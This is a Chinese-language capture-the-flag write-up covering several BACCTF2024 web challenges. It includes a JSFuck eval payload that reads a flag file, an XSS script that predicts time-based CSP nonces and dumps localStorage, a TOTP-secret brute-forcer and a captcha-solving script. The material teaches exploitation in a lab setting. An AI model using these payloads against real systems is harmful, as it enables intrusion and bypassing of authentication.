本文记录 BACCTF2024 部分 Web 方向题解。原文中的 Typora 本地截图路径已统一替换为 Hexo 可访问的 /img/ctf/bacctf2024/ 路径。

Tic-Tac-Toe

这道题目是一个井字棋游戏

BACCTF2024 截图 01

这个题目源码没什么好看 因为是小游戏 我们到network里面查看一下

BACCTF2024 截图 02

找到了ws 那就轻松了 是一个WebSocket 状态篡改题

我们后面使用bp抓包

BACCTF2024 截图 03

我们先随便过一个格子 然后后面在对这个position进行改动

BACCTF2024 截图 04

返回包被拦截后一定要改动后放行 并且不能直接改动到赢的局面 一定要改动到赢前一步

BACCTF2024 截图 05

JSLearning.com

BACCTF2024 截图 06

给了js附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import express from 'npm:express@4.18.2'

const app = express();

const flag = Deno.readTextFileSync('flag.txt')

app.use(express.text())

app.use("/", express.static("static"));

app.post("/check", (req, res) => {

let d = req.body;
let out = "";
for (let i of ["[", "]", "(", ")", "+", "!"]) {
d = d.replaceAll(i, "");
}
if (d.trim().length) {
res.send("ERROR: disallowed characters. Valid characters: '[', ']', '(', ')', '+', and '!'.");
return;
}

let c;
try {
c = eval(req.body).toString();
} catch (e) {
res.send("An error occurred with your code.");
return
}

// disallow code execution
try {
if (typeof (eval(c)) === "function") {
res.send("Attempting to abuse javascript code against jslearning.site is not allowed under our terms and conditions.");
return
}
} catch (e) {}


out += "Checking the string " + c + "...|";
if (c === "fun") {
out+='Congratulations! You win the level!';
} else {
out+="Unfortunately, you are incorrect. Try again.";
}
res.send(out);
});

const server = app.listen(0, () => console.log(server.address().port))

1
2
3
4
5
6
7
8
9
let d = req.body;
let out = "";
for (let i of ["[", "]", "(", ")", "+", "!"]) {
d = d.replaceAll(i, "");
}
if (d.trim().length) {
res.send("ERROR: disallowed characters. Valid characters: '[', ']', '(', ')', '+', and '!'.");
return;
}

首先可以看到只允许+!通过

1
2
try {
if (typeof (eval(c)) === "function") {

这个地方本来会禁止代码执行但是会执行攻击者输入的字符串

1
const flag = Deno.readTextFileSync('flag.txt')

所以分析出 这个题目只要传入加密的 Deno.readTextFileSync(‘flag.txt’)就可以了

1
[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())

BACCTF2024 截图 07

Transcriptify

BACCTF2024 截图 08

这个题目在源码看不到什么 抓包也没东西(把我翻译抓到了)然后输入49也没有49回显 判断可能是XSS题目

BACCTF2024 截图 09

在这里可以判断出有两个接口/viewtranscript /pdftranscript

1
2
3
4
$base = "http://node6.anna.nssctf.cn:26032"
$json = '{"studentName":"Alice","courses":[{"name":"Math","grade":["100","A"]}]}'
curl.exe -G -s "$base/viewtranscript" --data-urlencode "transcript=$json"

/viewtranscript 接收 transcript JSON,并把 studentName 渲染进 HTML。

1
2
3
4
5
6
7
8
9
10
11
12
cat > htmlinj.json <<'EOF'
{"studentName":"<h1>XSS_TEST</h1>","courses":[{"name":"Math","grade":["100","A"]}]}
EOF

curl -sG "$base/viewtranscript" --data-urlencode transcript@htmlinj.json | tee htmlinj.html

cat > htmlinj.json <<'EOF'
{"studentName":"<h1>XSS_TEST</h1>","courses":[{"name":"Math","grade":["100","A"]}]}
EOF

看到了这个<p>Student Name: <h1>XSS_TEST</h1></p>

说明 studentName 没有被 HTML 转义,存在 HTML/XSS 注入点

1
2
3
4
5
6
curl -siG "$base/viewtranscript" --data-urlencode transcript@htmlinj.json | tee resp.txt
grep -o 'nonce="[^"]*"' resp.txt | head
nonce=$(grep -oP 'nonce="\K[^"]+' resp.txt | head -1)
echo "$nonce" | base64 -d
echo

1780568350000得到了这个 时间戳 知道nonce 是按时间生成的,可以预测

下一步来验证XSS和nonce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
cat > make_test_url.py <<'PY'
import time, base64, json, urllib.parse

base = "http://node6.anna.nssctf.cn:26032"

def nonce_at(offset_ms=0):
return base64.b64encode(str(round((int(time.time()*1000)+offset_ms)/5000)*5000).encode()).decode()

scripts = ""
for offset in range(-60000, 60001, 5000):
nonce = nonce_at(offset)
scripts += f'<script nonce="{nonce}">document.body.innerText="XSS_OK"</script>'

payload = {
"studentName": scripts,
"courses": [{"name":"Math","grade":["100","A"]}]
}

url = base + "/viewtranscript?" + urllib.parse.urlencode({
"transcript": json.dumps(payload, separators=(",", ":"))
})

print(url)
PY
生成测试url

找到了XSS_OK 绕过了XSS和nonce

下一步要确定pdf接口

1
2
3
4
5
6
7
8
9
创建json
cat > ok.json <<'EOF'
{"studentName":"Alice","courses":[{"name":"Math","grade":["100","A"]}]}
EOF
保存pdf
curl -sG "$base/pdftranscript" --data-urlencode transcript@ok.json -o test.pdf

file test.pdf

最后来搞flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
cat > make_payload.py <<'PY'
import time, base64, json

now = int(time.time() * 1000)
scripts = ""

for offset in range(-300000, 300001, 5000):
t = round((now + offset) / 5000) * 5000
nonce = base64.b64encode(str(t).encode()).decode()

scripts += (
f'<script nonce="{nonce}">'
'document.body.innerText='
'localStorage.flag||localStorage.getItem("flag")||Object.entries(localStorage).map(x=>x.join("=")).join("\\n")'
'</script>'
)

payload = {
"studentName": scripts,
"courses": [
{
"name": "Math",
"grade": ["100", "A"]
}
]
}

with open("payload.json", "w", encoding="utf-8") as f:
json.dump(payload, f, separators=(",", ":"))

print("wrote payload.json")
print("payload size:", len(json.dumps(payload)))
PY

python3 make_payload.py

curl -sG "$base/pdftranscript" --data-urlencode transcript@payload.json -o flag.pdf

pdftotext flag.pdf -

这里一定要快速搞完 我失败了几次因为nonce和时间有关

Phone number

这个题目比较有意思 进来是个通过摇色子来获取数字拼凑出号码来登录的题目 并且题目简介中说号码是1234567890

但是摇色子的时候会突然说出现了一双蛇的眼睛 清除你的记录

非常之简单就不玩了 抓包

BACCTF2024 截图 10

随便提交个数字上去 然后改POST内容就可以了

NoSQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const express = require('express')

const app = express();
const port = 3000;
const fs = require('fs')
try {
const inputD = fs.readFileSync('table.txt', 'utf-8');
text = inputD.toString().split("\n").map(e => e.trim());
} catch (err) {
console.error("Error reading file:", err);
process.exit(1);
}

app.get('/', (req, res) => {
if (!req.query.name) {
res.send("Not a valid query :(")
return;
}
let goodLines = []
text.forEach( line => {
if (line.match('^'+req.query.name+'$')) {
goodLines.push(line)
}
});
res.json({"rtnValues":goodLines})
})

app.get('/:id/:firstName/:lastName', (req, res) => {
// Implementation not shown
res.send("FLAG")
})

app.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});

进去就是Not a valid query 直接看代码最直接就是get传入/:id/:firstName/:lastName可以得到flag

1
if (line.match('^'+req.query.name+'$')

这里说明当我们输如 ?name=.时会被转义为^.$

匹配了正则 可以查看到table.txt内容

1
{"rtnValues":["Ricardo Olsen","April Park","Francis Jackson","Ana Barry","Clifford Craig","Andrew Wise","Ada Atkinson","Janis McIntosh","Rosie Parsons","Neal Weaver","Alyssa Robison","Michael Hurst","Roberto Thornton","Renee Schwartz","Darryl Wilson","Wayne Boyle","Loretta Camacho","Bert Morton","Suzanne Johnson","Carol Fowler","Rose Hansen","Aimee Norman","Bethany Foley","Benjamin Baily","David Hull","Sabrina Fish","Rick Kirby","Edgar Grimes","Blake McDermott","Alicia Crosby","Teresa Ortega","Carroll Darling","Louis Tate","Phillip Fuller","Clinton Kimball","Alma Matthews","Stacie Franklin","Lucinda Steward","Gina Andrews","Philip Hyde","Devin Riggs","Michelle Thornton","Rogelio Freeman","Arthur Stephens","Andy Leon","Megan Gould","Myrna Yates","Edwin Pearce","Shirley Cannon","Lowell Cochran","Flag Holder"]}

/51/Flag/Holder访问后可以获得flag

MOC,Inc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from flask import Flask, request, render_template

import datetime
import sqlite3
import random
import pyotp
import sys

random.seed(datetime.datetime.today().strftime('%Y-%m-%d'))

app = Flask(__name__)

@app.get('/')
def index():
return render_template('index.html')

@app.post('/')
def log_in():
with sqlite3.connect('moc-inc.db') as db:
result = db.cursor().execute(
'SELECT totp_secret FROM user WHERE username = ? AND password = ?',
(request.form['username'], request.form['password'])
).fetchone()

if result == None:
return render_template('portal.html', message='Invalid username/password.')

totp = pyotp.TOTP(result[0])

if totp.verify(request.form['totp']):
with open('../flag.txt') as file:
return render_template('portal.html', message=file.read())

return render_template('portal.html', message='2FA code is incorrect.')

with sqlite3.connect('moc-inc.db') as db:
db.cursor().execute('''CREATE TABLE IF NOT EXISTS user (
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
totp_secret TEXT NOT NULL
)''')
db.commit()

if __name__ == '__main__':
if len(sys.argv) == 3:
SECRET_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'

totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)])

with sqlite3.connect('moc-inc.db') as db:
db.cursor().execute('''INSERT INTO user (
username,
password,
totp_secret
) VALUES (?, ?, ?)''', (sys.argv[1], sys.argv[2], totp_secret))
db.commit()

print('Created user:')
print(' Username:\t' + sys.argv[1])
print(' Password:\t' + sys.argv[2])
print(' TOTP Secret:\t' + totp_secret)

exit(0)

app.run()

这里正确登陆上就可以得到flag.txt

random.seed(datetime.datetime.today().strftime(‘%Y-%m-%d’))要是能获得到创建用户的日期就可以得到totp_secret

因为不知道具体日期 所以只能靠脚本来爆破

逻辑很简单就是 username password 和2FA secret 全都对就可以返回flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import datetime
import pyotp
import random
import re
import requests

url = 'http://node1.anna.nssctf.cn:24123/'
payload = {'username':'admin','password':'admin'}
s = requests.session()
today = datetime.datetime.today()
end_of_2024 = datetime.datetime(2024, 12, 31)
diff_days = (today - end_of_2024).days

for i in range(diff_days,diff_days+366):
target_day = (datetime.datetime.today()-datetime.timedelta(days=i)).strftime('%Y-%m-%d')
random.seed(target_day)
SECRET_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)])
totp = pyotp.TOTP(totp_secret)
payload['totp'] = totp.now()
res = s.post(url,data=payload)
if '2FA code is incorrect.' not in res.text:
flag = re.search('NSSCTF{.*?}',res.text)
print(target_day)
print(flag[0])
break

得到flag

Fogblaze

这道题目逻辑很简单就是连续输入75次就可以得到验证码

用bp抓包得到了captchaToken 可以用脚本来做题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import hashlib
import itertools
import jwt
import requests
import string

hash_dict = {}

chars = string.ascii_uppercase + string.digits

for i in itertools.product(chars, repeat=4):
code = ''.join(i)
m = hashlib.md5(code.encode()).hexdigest()
hash_dict[m] = code

s = requests.session()
url = 'http://node1.anna.nssctf.cn:26880/captcha'

res = s.post(url, json={"routeId": "/flag"})
print("init:", res.status_code, res.text)

token = res.json()['captchaToken']

for i in range(75):
challengeId = jwt.decode(token, options={"verify_signature": False})['challengeId']

if challengeId not in hash_dict:
print("challengeId not found:", challengeId)
break

word = hash_dict[challengeId]

res = s.post(url, json={
"captchaToken": token,
"word": word
})

data = res.json()
token = data['captchaToken']

print(i + 1, word, data.get('solved'))

final_res = s.get("http://node1.anna.nssctf.cn:26880/flag?token=" + token)
print(final_res.status_code)
print(final_res.text)